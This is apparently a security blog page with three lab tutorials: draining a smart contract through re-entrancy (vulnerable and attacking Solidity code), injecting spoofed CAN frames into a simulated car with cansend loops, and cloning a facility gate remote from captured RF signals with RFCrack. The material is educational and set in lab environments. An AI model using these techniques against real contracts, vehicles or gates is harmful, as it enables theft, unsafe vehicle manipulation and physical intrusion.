Sunday, November 4, 2018

Blockchain Exploitation Labs - Part 1 Smart Contract Re-Entrancy


Why/What Blockchain Exploitation?

In this blog series we will analyze blockchain vulnerabilities and exploit them ourselves in various lab and development environments. If you would like to stay up to date on new posts follow and subscribe to the following:
Twitter: @ficti0n
Youtube: https://www.youtube.com/c/ConsoleCowboys
URL: http://cclabs.io
          http://consolecowboys.com

As of late I have been un-naturally obsessed with blockchains and crypto currency. With that obsession comes the normal curiosity of “How do I hack this and steal all the monies?”

However, as usual I could not find any actual walk thorough or solid examples of actually exploiting real code live. Just theory and half way explained examples.

That question with labs is exactly what we are going to cover in this series, starting with the topic title above of Re-Entrancy attacks which allow an attacker to siphon out all of the money held within a smart contract, far beyond that of their own contribution to the contract.
This will be a lab based series and I will show you how to use demo the code within various test environments and local environments in order to perform and re-create each attacks for yourself.  

Note: As usual this is live ongoing research and info will be released as it is coded and exploited.

If you are bored of reading already and just want to watch videos for this info or are only here for the demos and labs check out the first set of videos in the series at the link below and skip to the relevant parts for you, otherwise lets get into it:


Background Info:

This is a bit of a harder topic to write about considering most of my audience are hackers not Ethereum developers or blockchain architects. So you may not know what a smart contract is nor how it is situated within the blockchain development model. So I am going to cover a little bit of context to help with understanding.  I will cover the bare minimum needed as an attacker.

A Standard Application Model:
  • In client server we generally have the following:
  • Front End - what the user sees (HTML Etc)
  • Server Side - code that handles business logic
  • Back End - Your database for example MySQL

A Decentralized Application Model:

Now with a Decentralized applications (DAPP) on the blockchain you have similar front end server side technology however
  • Smart contracts are your access into the blockchain.
  • Your smart contract is kind of like an API
  • Essentially DAPPs are Ethereum enabled applications using smart contracts as an API to the blockchain data ledger
  • DAPPs can be banking applications, wallets, video games etc.

A blockchain is a trust-less peer to peer decentralized database or ledger

The back-end is distributed across thousands of nodes in its entirety on each node. Meaning every single node has a Full “database” of information called a ledger.  The second difference is that this ledger is immutable, meaning once data goes in, data cannot be changed. This will come into play later in this discussion about smart contracts.

Consensus:

The blockchain of these decentralized ledgers is synchronized by a consensus mechanism you may be familiar with called “mining” or more accurately, proof of work or optionally Proof of stake.

Proof of stake is simply staking large sums of coins which are at risk of loss if one were to perform a malicious action while helping to perform consensus of data.   

Much like proof of stake, proof of work(mining) validates hashing calculations to come to a consensus but instead of loss of coins there is a loss of energy, which costs money, without reward if malicious actions were to take place.

Each block contains transactions from the transaction pool combined with a nonce that meets the difficulty requirements.  Once a block is found and accepted it places them on the blockchain in which more then half of the network must reach a consensus on. 

The point is that no central authority controls the nodes or can shut them down. Instead there is consensus from all nodes using either proof of work or proof of stake. They are spread across the whole world leaving a single centralized jurisdiction as an impossibility.

Things to Note: 

First Note: Immutability

  • So, the thing to note is that our smart contracts are located on the blockchain
  • And the blockchain is immutable
  • This means an Agile development model is not going to work once a contract is deployed.
  • This means that updates to contracts is next to impossible
  • All you can really do is create a kill-switch or fail safe functions to disable and execute some actions if something goes wrong before going permanently dormant.
  • If you don’t include a kill switch the contract is open and available and you can't remove it

Second Note:  Code Is Open Source
  • Smart Contracts are generally open source
  • Which means people like ourselves are manually bug hunting smart contracts and running static analysis tools against smart contract code looking for bugs.

When issues are found the only course of action is:
  • Kill the current contract which stays on the blockchain
  • Then deploy a whole new version.
  • If there is no killSwitch the contract will be available forever.
Now I know what you're thinking, these things are ripe for exploitation.
And you would be correct based on the 3rd note


Third Note: Security in the development process is lacking
  • Many contracts and projects do not even think about and SDLC.
  • They rarely add penetration testing and vulnerability testing in the development stages if at all
  • At best there is a bug bounty before the release of their main-nets
  • Which usually get hacked to hell and delayed because of it.
  • Things are getting better but they are still behind the curve, as the technology is new and blockchain mostly developers and marketers.  Not hackers or security testers.


Forth Note:  Potential Data Exposure via Future Broken Crypto
  • If sensitive data is placed on the blockchain it is there forever
  • Which means that if a cryptographic algorithm is broken anything which is encrypted with that algorithm is now accessible
  • We all know that algorithms are eventually broken!
  • So its always advisable to keep sensitive data hashed for integrity on the blockchain but not actually stored on the blockchain directly


 Exploitation of Re-Entrancy Vulnerabilities:

With a bit of the background out of the way let's get into the first attack in this series.

Re-Entrancy attacks allow an attacker to create a re-cursive loop within a contract by having the contract call the target function rather than a single request from a  user. Instead the request comes from the attackers contract which does not let the target contracts execution complete until the tasks intended by the attacker are complete. Usually this task will be draining the money out of the contract until all of the money for every user is in the attackers account.

Example Scenario:

Let's say that you are using a bank and you have deposited 100 dollars into your bank account.  Now when you withdraw your money from your bank account the bank account first sends you 100 dollars before updating your account balance.

Well what if when you received your 100 dollars, it was sent to malicious code that called the withdraw function again not letting  the initial target deduct your balance ?

With this scenario you could then request 100 dollars, then request 100 again and you now have 200 dollars sent to you from the bank. But 50% of that money is not yours. It's from the whole collection of money that the bank is tasked to maintain for its accounts.

Ok that's pretty cool, but what if that was in a re-cursive loop that did not BREAK until all accounts at the bank were empty?  

That is Re-Entrancy in a nutshell.   So let's look at some code.

Example Target Code:


           function withdraw(uint withdrawAmount) public returns (uint) {
       
1.         require(withdrawAmount <= balances[msg.sender]);
2.         require(msg.sender.call.value(withdrawAmount)());

3.          balances[msg.sender] -= withdrawAmount;
4.          return balances[msg.sender];
        }

Line 1: Checks that you are only withdrawing the amount you have in your account or sends back an error.
Line 2: Sends your requested amount to the address the requested that withdrawal.
Line 3: Deducts the amount you withdrew from your account from your total balance.
Line 4. Simply returns your current balance.

Ok this all seems logical.. however the issue is in Line 2 - Line 3.   The balance is being sent back to you before the balance is deducted. So if you were to call this from a piece of code which just accepts anything which is sent to it, but then re-calls the withdraw function you have a problem as it never gets to Line 3 which deducts the balance from your total. This means that Line 1 will always have enough money to keep withdrawing.

Let's take a look at how we would do that:

Example Attacking Code:


          function attack() public payable {
1.           bankAddress.withdraw(amount);
         }

2.    function () public payable {
         
3.            if (address(bankAddress).balance >= amount) {
4.               bankAddress.withdraw(amount);
                }
}

Line 1: This function is calling the banks withdraw function with an amount less than the total in your account
Line 2: This second function is something called a fallback function. This function is used to accept payments that come into the contract when no function is specified. You will notice this function does not have a name but is set to payable.
Line 3:  This line is checking that the target accounts balance is greater than the amount being withdrawn.
Line 4:  Then again calling the withdraw function to continue the loop which will in turn be sent back to the fallback function and repeat lines over and over until the target contracts balance is less than the amount being requested.



Review the diagram above which shows the code paths between the target and attacking code. During this whole process the first code example from the withdraw function is only ever getting to lines 1-2 until the bank is drained of money. It never actually deducts your requested amount until the end when the full contract balance is lower then your withdraw amount. At this point it's too late and there is no money left in the contract.


Setting up a Lab Environment and coding your Attack:

Hopefully that all made sense. If you watch the videos associated with this blog you will see it all in action.  We will now analyze code of a simple smart contract banking application. We will interface with this contract via our own smart contract we code manually and turn into an exploit to take advantage of the vulnerability.

Download the target code from the following link:

Then lets open up an online ethereum development platform at the following link where we will begin analyzing and exploiting smart contracts in real time in the video below:

Coding your Exploit and Interfacing with a Contract Programmatically:

The rest of this blog will continue in the video below where we will  manually code an interface to a full smart contract and write an exploit to take advantage of a Re-Entrency Vulnerability:

 


Conclusion: 

In this smart contract exploit writing intro we showed a vulnerability that allowed for re entry to a contract in a recursive loop. We then manually created an exploit to take advantage of the vulnerability. This is just the beginning, as this series progresses you will see other types of vulnerabilities and have the ability to code and exploit them yourself.  On this journey through the decentralized world you will learn how to code and craft exploits in solidity using various development environments and test nets.

Saturday, April 21, 2018

Hacking All the Cars - Part 1


A step by step lab based mini course on analyzing your car network


I wanted to learn about hacking cars. As usual I searched around the internet and didn’t find any comprehensive resources on how to do this, just bits and pieces of the same info over and over which is frustrating. I am not a car hacking expert, I just like to hack stuff. This mini course will run in a fully simulated lab environment available from open garages, which means in 5 minutes from now you can follow along and hack cars without ever bricking your girlfriends car. Since you obviously wouldn’t attack your own Lambo, totally use your girlfriends Prius. 

Below are the topics covered in this blog  series so you can decide if you want to read further: 

Whats covered in this car hacking mini course: 

Setting up Virtual Environments for testing
Sniffing CAN Traffic
Parsing CAN Traffic
Reverse Engineering CAN IDs 
Denial of service attacks
Replaying/Injecting Traffic
Coding your own CAN Socket Tools in python
Targeted attacks against your cars components
Transitioning this to attacking a real car with hardware

The first thing we are going to do before we get into any car hacking specifics such as “WTF is CAN?”, is get your lab up and running. We are going to run a simple simulated CAN Bus network which controls various features of your simulated car. Its better to learn by doing then sit here and recite a bunch of car network lingo at you and hope you remember it.  

I also don’t want you to buy a bunch of hardware and jack into your real car right away. Instead there are options that can get you started hacking cars RIGHT NOW by following along with this tutorial. This will also serve to take away the fear of hacking your actual car by understanding what your doing first. 


Video Playlist: 




Setting up your Lab: 

First things first, set yourself up with an Ubuntu VMware install, and load it up. Optionally you could use a Kali Iinux VM, however, that thing drives me nuts with copy paste issues and I think Kayak was giving me install problems. So support is on you if you would like to use Kali. However, I do know Kali will work fine with OpenGarages virtual car.. So feel free to use it for that if you have it handy and want to get started right away. 


Install PreReq Libraries: 

Once you load this up you are going to want to install CAN utilities and pre-requisite libraries. This is really easy to do with the following Apt-get commands:
sudo apt-get update
sudo apt-get install libsdl2-dev libsdl2-image-dev can-utils  

Then we are going to pull down the ICSimulator repo: 


Starting the simulator: 

Once this is done we can startup the simulator by changing directories to the downloaded repo and running the following 2 commands, which will setup a virtual CAN interface and a simulator GUI Cluster: 

Run the setup Script to get the vcan0 interface up: 
root@kali:~/ICSim# ./setup_vcan.sh 
root@kali:~/ICSim# ./icsim vcan0

On a new terminal tab we will open up our simulators controller with the following command,
root@kali:~/ICSim#./controls vcan0

Note: that the controller must be the in-focus GUI screen to send keyboard commands to the simulator. 






How to Use the Simulator: 

The simulator has a speedometer with Right and Left turn signals, doors etc.  Below are the list of commands to control the simulator when the Control panel is in focus. Give them each a try and note the changes to the simulator. 
Up and Down keys control the gauges clusters speedometer
Left and Right keys Control the Blinkers
Right Shift + X, A or B open doors 
Left Shift + X, A or be Close doors

Try a few of the above commands for example Right Shift +X and you will see the interface change like so, notice the open door graphic: 


Awesome, thanks to OpenGarages you now you have your very own car to hack

Notice in the setup commands above we used a VCan0 interface. Run Ifconfig and you will now see that you indeed have a new network interface that speaks to the CAN network over VCan0. 

ficti0n@ubuntu:~/Desktop/ICSim$ ifconfig vcan0
vcan0     Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          UP RUNNING NOARP  MTU:16  Metric:1
          RX packets:558904 errors:0 dropped:0 overruns:0 frame:0
          TX packets:558904 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:3663935 (3.6 MB)  TX bytes:3663935 (3.6 MB)


Car networks run on a variety of protocols most prevalent being CAN. You can think of a CAN Bus like an old school networking hub where everyone can see everyone elses traffic. This is true to some extent although you may not see all of the cars traffic if its not connected to that particular bus your plugged into. You can think of CAN traffic kind of like UDP in that its send and forget, the main difference being parts of the CAN bus network don't actually have addresses and everything runs off arbitration IDs and priorities. Thats enough background to get you doing rather then reading.

With a little knowledge out of the way lets check if we can see our CAN traffic from our virtual car via the CanDump utility, which you installed as part of CanUtils package above. Using the following command on the vcan0 interface our simulator uses you can view a stream of traffic: 

ficti0n@ubuntu:~/Desktop/ICSim$ candump vcan0



Above we can see a bunch of CAN frames, and if we perform actions on the vehicle we will see changes to data values in the CanDump output.  However this may happen very fast, and we may not be able to see if for example we unlocked our simulators door. This is because things are changing constantly in the cars IDLE state. One single value changing may not stand out enough for us to take notice or may scroll so fast we cant see it. 


Capture and Replay CAN Actions: 

One option would be to perform an action and replay it, we should see the actions happen again in the replay if the traffic for the action we recorded is on the same bus network our device is plugged into. There are loads of networks within a car and its not guaranteed our network tap for example an OBD2 port plugin is connected to the same network as door we opened.  Or the door may not be connected to the network at all depending on your car and its age or how its configured. 

Replaying dumps with CanPlayer: 
Another useful tool included with CanUtils package is CanPlayer for replaying traffic. If the functionality we are trying to capture is on the same Bus as the adaptor plugged into the car, or in this case our Virtual CAN interface, we can use CanDump to save traffic to a file. We then use CanPlayer to replay the traffic on the network. For example lets run CanDump and open a door and then replay the functionality with CanPlayer. 

Lab 1 Steps: 

  1. Run CanDump
  2. Right Shift + X to open a door
  3. Cancel CanDump (ctrl+c)
  4. Left Shift + X to close the door
  5. Run can player with the saved dump and it will replay the traffic and open the door

Recording the door opening:  (-l for logging) 
ficti0n@ubuntu:~/Desktop/ICSim$ candump -l vcan0

Replaying the CanDump file:  (use the file your can dump created) 
ficti0n@ubuntu:~/Desktop/ICSim$ canplayer -I candump-2018-04-06_154441.log 

Nice, so if all went well you should see that your door is now open again. If this did not happen when attacking a real car, just try to replay it again. CAN networks are not like TCP/IP, they are more like UDP in that you send out your request and its not expecting a response. So if it gets lost then it gets lost and you have to resend. Perhaps something with higher priority on the network was sending at the time of your replay and your traffic was overshadowed by it.   




Interacting with the Can Bus and Reversing Traffic: 

So thats cool, but what about actually understanding what is going on with this traffic, CanDump is not very useful for this, is scrolls by to quickly for us to learn much from.  Instead we can use CanSniffer with colorized output to show us the bytes within packets that change. Below is an example of CanSniffer Traffic: 

To startup can sniffer run the following: 
ficti0n@ubuntu:~/Desktop/ICSim$ cansniffer -c vcan0




You will see 3 fields, Time, ID  and Data. Its pretty easy to figure out what these are based on thier name. The most important part for our usage in this blog are the ID and the Data fields.  

The ID field is the frame ID which is loosely associated with the device on the network which is effected by the frame being sent. The ID to also determines the priority of the frame on the network.  The lower the number of the CAN-ID the higher priority it has on the network and more likely it will be handled first.  The data field is the data being sent to change some parameter like unlocking a door or updating output. You will notice that some of the bytes are highlighted RED. The values in red are the values that are changing during the idle state you are currently in. 


Determine which ID and Byte controls the throttle: 

So with the terminal sniffing window open put the simulator and the controller into the foreground, with the controller being the window you have clicked and selected.  Pay attention to the CanSniffer output while hitting the UP ARROW and look for a value that was white but is now Red and increasing in value as the throttle goes up.  This might take you a few minutes of paying attention to whats going on to see. 

The following 2 pictures show ID 244 in the IDLE state followed by pressing the up button to increase the speed. You will notice a byte has turned red and is increasing in value through a range of HEX values 0-F. It will continue to enumerate through values till it reaches its max speed. 





The byte in ID 244 which is changing is the value while the throttle is engaged, so 244 associated in some way with the increasing speed.   The throttle speed is a good value to start with as it keeps increasing its value when pressed making it easier to spot while viewing the CanSniffer output.  


Singling out Values with Filters: 

If you would like to single out the throttle value then click the terminal window and press -000000 followed by the Enter key which will clear out all of the values scrolling. Then press +244 followed by the Enter key which will add back the throttle ID. You can now click the controller again and increase the speed with your Up arrow button without all the noise clouding your view.  You will instead as shown below only have ID 244 in your output: 




To get back all of the IDs again click the terminal window and input +000000 followed by the Enter key.   Now you should see all of the output as before.  Essentially 000000 means include everything. But when you put a minus in front of it then it negates everything and clears your terminal window filtering out all values. 


Determine Blinker ID: 

Now lets figure out another ID for the blinkers. If you hit the left or right arrow with the controls window selected you will notice a whole new ID appears in the list, ID 188 shown in the picture below which is associated with the blinker. 




This ID was not listed before as it was not in use within the data output until you pressed the blinker control.  Lets single this value out by pressing -000000 followed by +188.  Just like in the throttle example your terminal should only show ID 188, initially it will show with 00 byte values. 

 As you press the left and the right blinker you will see the first Byte change from 00 to 01 or 02. If neither is pressed as in the screenshot above it will be 00. Its kind of hard to have the controller in focus and get a screenshot at the same time but the ID will remain visible as 00 until it times out and disappears from the list when not active. However with it filtered out as above you can get a better view of things and it wont disappear.  


Time for YOU to do some Protocol Reversing:

This lab will give you a good idea how to reverse all of the functionality of the car and associate each action with the proper ID and BYTE. This way you can create a map of intended functionality changes you wish to make.  Above we have done a few walk throughs with you on how to determine which byte and ID is associated with an action. Now its time to map everything out yourself with all the remaining functionality before moving on to attacking individual components.  


Lab Work Suggestion: 


  1. Take out a piece of paper and a pencil
  2. Try unlocking and locking doors and write down the ID which controls this action (remember your filters)
  3. Try unlocking each door and write down the BYTES needed for each door to open
  4. Try locking each doors and what Bytes change and what are their values, write them down
  5. Do the same thing for the blinkers left and right (Might be different then what I did above) 
  6. What ID is the speedometer using?  What byte changes the speed? 


Attacking Functionality Directly: 

With all of the functionality mapped out we can now try to target various devices in the network directly without interacting with the controllers GUI. Maybe we broke into the car via cellular OnStar connection  or the center console units BLE connection which was connected to the CAN network in some way.  
After an exploit we have direct access to the CAN network and we would like to perform actions. Or maybe you have installed a wireless device into an OBD2 port under the dashboard you have remote access to the automobile. 

Using the data from the CAN network reversing lab above we can call these actions directly with the proper CAN-ID and Byte.  Since we are remote to the target we can’t just reach over and grab the steering wheel or hit the throttle we will instead send your CAN frame to make the change.
One way we can do this is via the CanSend utility. Lets take our information from our lab above and make the left turn signal flash with the following ID 188 for the turn signal by changing the first byte to 01 indicating the left signal is pressed. CanSend uses the format ID#Data. You will see this below when sending the turn signal via CanSend. 

ficti0n@ubuntu:~/Desktop/ICSim$ cansend vcan0 188#01000000 



You should have noticed that the left signal flashed. If not pay more attention and give it another try or make sure you used the correct ID and changed the correct byte.  So lets do the same thing with the throttle and try to set the speed to something with ID 244 that we determined was the throttle. 

ficti0n@ubuntu:~/Desktop/ICSim$ cansend vcan0 244#00000011F6 

My guess is that nothing happened because its so fast the needle is not going to jump to that value. So instead lets try repeating this over and over again with a bash loop which simply says that while True keep sending the throttle value of 11 which equates to about 30mph: 

ficti0n@ubuntu:~/Desktop/ICSim$ while true; do cansend vcan0 244#00000011F6;  done




Yes thats much better, you may notice the needle jumping back and forth a bit. The reason the needle is bouncing back and forth is because the normal CAN traffic is sent telling the car its actually set to 00 in between your frames saying its 30mph.  But it worked and you have now changed the speed the car sees and you have flashed the blinker without using the cars normal blinker controls. Pretty cool right? 


Monitor the CAN Bus and react to it: 

Another way to handle this issue is to monitor the CAN network and when it sees an ID sent it will automatically send the corresponding ID with a different value.. Lets give that a try to modify our speed output by monitoring for changes. Below we are simply running CanDump and parsing for ID 244 in the log output which is the throttle value that tells the car the speed. When a device in the car reports ID 244 and its value we will immediately resend our own value saying the speed is 30mph with the value 11.  See below command and try this out. 

ficti0n@ubuntu:~/Desktop/ICSim$ candump vcan0 | grep " 244 " | while read line; do cansend vcan0 244#00000011F6; done

With this running after a few seconds you will see the speed adjust to around 30MPH once it captures a legitimate CAN-ID 244 from the network traffic and sends its own value right after.  

Ok cool, so now while the above command is still running click the controller window and start holding down the Up arrow with the controller in focus.. After a few seconds or so when the speed gets above 30MPH you will see the needle fighting for the real higher value and adjusting back to 30MPH as your command keeps sending its on value as a replacement to the real speed. 

So thats one way of monitoring the network and reacting to what you see in a very crude manner.  Maybe someone stole your car and you want to monitor for an open door and if they try to open the door it immediately locks them in. 


Conclusion and whats next: 

I am not an expert car hacker but I hope you enjoyed this. Thats about as far as I want to go into this subject today, in the next blog we will get into how to code python to perform actions on the CAN network to manipulate things in a similar way.  With your own code you are not limited to the functionality of the tools you are provided and can do whatever you want. This is much more powerful then just using the CanUtils pre defined tools. Later on I will also get into the hardware side of things if you would like to try this on a real car where things are more complicated and things can go wrong. 

Sunday, January 28, 2018

Hacking Everything with RF and Software Defined Radio - Part 3


Reversing Device Signals with RFCrack for Red Teaming


This blog was researched and automated by:
@Ficti0n 
@GarrGhar 
Mostly because someone didn't want to pay for a new clicker that was lost LOL

Websites:
Console Cowboys: http://consolecowboys.com 
CC Labs: http://cclabs.io

CC Labs Github for RFCrack Code:
https://github.com/cclabsInc/RFCrack


Contrived Scenario: 

Bob was tasked to break into XYZ  corporation, so he pulled up the facility on google maps to see what the layout was. He was looking for any possible entry paths into the company headquarters. Online maps showed that the whole facility was surrounded by a security access gate. Not much else could be determined remotely so bob decided to take a drive to the facility and get a closer look. 

Bob parked down the street in view of the entry gate. Upon arrival he noted the gate was un-manned and cars were rolling up to the gate typing in an access code or simply driving up to the gate as it opening automatically.  Interestingly there was some kind of wireless technology in use. 

How do we go from watching a car go through a gate, to having a physical device that opens the gate?  

We will take a look at reversing a signal from an actual gate to program a remote with the proper RF signal.  Learning how to perform these steps manually to get a better understanding of how RF remotes work in conjunction with automating processes with RFCrack. 

Items used in this blog: 

Garage Remote Clicker: https://goo.gl/7fDQ2N
YardStick One: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR


 







Walkthrough Video: 




Remotely sniffing signals for later analysis: 

In the the previous blogs, we sniffed signals and replayed them to perform actions. In this blog we are going to take a look at a signal and reverse it to create a physical device that will act as a replacement for the original device. Depending on the scenario this may be a better approach if you plan to enter the facility off hours when there is no signal to capture or you don’t want to look suspicious. 

Recon:

Lets first use the scanning functionality in RFCrack to find known frequencies. We need to understand the frequencies that gates usually use. This way we can set our scanner to a limited number of frequencies to rotate through. The smaller rage of frequencies used will provide a better chance of capturing a signal when a car opens the target gate. This would be beneficial if the scanning device is left unattended within a dropbox created with something like a Kali on a Raspberry Pi. One could access it from a good distance away by setting up a wifi hotspot or cellular connection.

Based on research remotes tend to use 315Mhz, 390Mhz, 433Mhz and a few other frequencies. So in our case we will start up RFCrack on those likely used frequencies and just let it run. We can also look up the FCID of our clicker to see what Frequencies manufactures are using. Although not standardized, similar technologies tend to use similar configurations. Below is from the data sheet located at https://fccid.io/HBW7922/Test-Report/test-report-1755584 which indicates that if this gate is compatible with a universal remote it should be using the 300,310, 315, 372, 390 Frequencies. Most notably the 310, 315 and 390 as the others are only on a couple configurations. 




RFCrack Scanning: 

Since the most used ranges are 310, 315, 390 within our universal clicker, lets set RFCrack scanner to rotate through those and scan for signals.  If a number of cars go through the gate and there are no captures we can adjust the scanner later over our wifi connection from a distance. 

Destroy:RFCrack ficti0n$ python RFCrack.py -k -f 310000000 315000000 390000000
Currently Scanning: 310000000 To cancel hit enter and wait a few seconds

Currently Scanning: 315000000 To cancel hit enter and wait a few seconds

Currently Scanning: 390000000 To cancel hit enter and wait a few seconds

e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000
Currently Scanning: 433000000 To cancel hit enter and wait a few seconds


Example of logging output: 

From the above output you will see that a frequency was found on 390. However, if you had left this running for a few hours you could easily see all of the output in the log file located in your RFCrack/scanning_logs directory.  For example the following captures were found in the log file in an easily parseable format: 

Destroy:RFCrack ficti0n$ cd scanning_logs/
Destroy:scanning_logs ficti0n$ ls
Dec25_14:58:45.log Dec25_21:17:14.log Jan03_20:12:56.log
Destroy:scanning_logs ficti0n$ cat Dec25_21\:17\:14.log
A signal was found on :390000000
c0000000000000000000000000008000000000000ef801fe003fe0fffc1fff83fff07ffe0007c0000000000000000000000000000000000000000000001c0000000000000000050003fe0fbfc1fffc3fff83fff0003e00000000000000000000000000000000000000000000007c1fff83fff003fe007fc00ff83fff07ffe0fffc1fff8001f00000000000000000000000000000000000000000000003e0fffc1fff801ff003fe007fc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000001f07ffe0dffc00ff803ff007fe0fffc1fff83fff07ffe0007c000000000000000000000000000000000000000000
A signal was found on :390000000
e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000



Analyzing the signal to determine toggle switches: 

Ok sweet, now we have a valid signal which will open the gate. Of course we could just replay this and open the gate, but we are going to create a physical device we can pass along to whoever needs entry regardless if they understand RF. No need to fumble around with a computer and look suspicious.  Also replaying a signal with RFCrack is just to easy, nothing new to learn taking the easy route. 

The first thing we are going to do is graph the capture and take a look at the wave pattern it creates. This can give us a lot of clues that might prove beneficial in figuring out the toggle switch pattern found in remotes. There are a few ways we can do this. If you don’t have a yardstick at home you can capture the initial signal with your cheap RTL-SDR dongle as we did in the first RF blog. We could then open it in audacity. This signal is shown below. 



Let RFCrack Plot the Signal For you: 

The other option is let RFCrack help you out by taking a signal from the log output above and let RFCrack plot it for you.  This saves time and allows you to use only one piece of hardware for all of the work.  This can easily be done with the following command: 

Destroy:RFCrack ficti0n$ python RFCrack.py -n -g -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c
-n = No yardstick attached
-g = graph a single signal
-u = Use this piece of data




From the graph output we see 2 distinct crest lengths and some junk at either end we can throw away. These 2 unique crests correspond to our toggle switch positions of up/down giving us the following 2 possible scenarios using a 9 toggle switch remote based on the 9 crests above: 

Possible toggle switch scenarios:

  1. down down up up up down down down down
  2. up up down down down up up up up 

Configuring a remote: 

Proper toggle switch configuration allows us to program a universal remote that sends a signal to the gate. However even with the proper toggle switch configuration the remote has many different signals it sends based on the manufacturer or type of signal.  In order to figure out which configuration the gate is using without physically watching the gate open, we will rely on local signal analysis/comparison.  

Programming a remote is done by clicking the device with the proper toggle switch configuration until the gate opens and the correct manufacturer is configured. Since we don’t have access to the gate after capturing the initial signal we will instead compare each signal from he remote to the original captured signal. 


Comparing Signals: 

This can be done a few ways, one way is to use an RTLSDR and capture all of the presses followed by visually comparing the output in audacity. Instead I prefer to use one tool and automate this process with RFCrack so that on each click of the device we can compare a signal with the original capture. Since there are multiple signals sent with each click it will analyze all of them and provide a percent likelihood of match of all the signals in that click followed by a comparing the highest % match graph for visual confirmation. If you are seeing a 80-90% match you should have the correct signal match.  

Note:  Not every click will show output as some clicks will be on different frequencies, these don’t matter since our recon confirmed the gate is communicating on 390Mhz. 

In order to analyze the signals in real time you will need to open up your clicker and set the proper toggle switch settings followed by setting up a sniffer and live analysis with RFCrack: 

Open up 2 terminals and use the following commands: 

#Setup a sniffer on 390mhz
  Setup sniffer:      python RFCrack.py -k -c -f 390000000.     
#Monitor the log file, and provide the gates original signal
  Setup Analysis:     python RFCrack.py -c -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c -n.  

Cmd switches used
-k = known frequency
-c = compare mode
-f = frequency
-n = no yardstick needed for analysis

Make sure your remote is configured for one of the possible toggle configurations determined above. In the below example I am using the first configuration, any extra toggles left in the down position: (down down up up up down down down down)




Analyze Your Clicks: 

Now with the two terminals open and running click the reset switch to the bottom left and hold till it flashes. Then keep clicking the left button and viewing the output in the sniffing analysis terminal which will provide the comparisons as graphs are loaded to validate the output.  If you click the device and no output is seen, all that means is that the device is communicating on a frequency which we are not listening on.  We don’t care about those signals since they don’t pertain to our target. 

At around the 11th click you will see high likelihood of a match and a graph which is near identical. A few click outputs are shown below with the graph from the last output with a 97% match.  It will always graph the highest percentage within a click.  Sometimes there will be blank graphs when the data is wacky and doesn’t work so well. This is fine since we don’t care about wacky data. 

You will notice the previous clicks did not show even close to a match, so its pretty easy to determine which is the right manufacture and setup for your target gate. Now just click the right hand button on the remote and it should be configured with the gates setup even though you are in another location setting up for your test. 

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.05
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.12
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.20
Percent Chance of Match for press is: 0.19
Percent Chance of Match for press is: 0.25
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.97
Percent Chance of Match for press is: 0.90
Percent Chance of Match for press is: 0.88
Percent Chance of Match for press is: 0.44
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png


Graph Comparison Output for 97% Match: 







Conclusion: 


You have now walked through successfully reversing a toggle switch remote for a security gate. You took a raw signal and created a working device using only a Yardstick and RFCrack.  This was just a quick tutorial on leveraging the skillsets you gained in previous blogs in order to learn how to analyze  RF signals within embedded devices. There are many scenarios these same techniques could assist in.  We also covered a few new features in RF crack regarding logging, graphing and comparing signals.  These are just a few of the features which have been added since the initial release. For more info and other features check the wiki.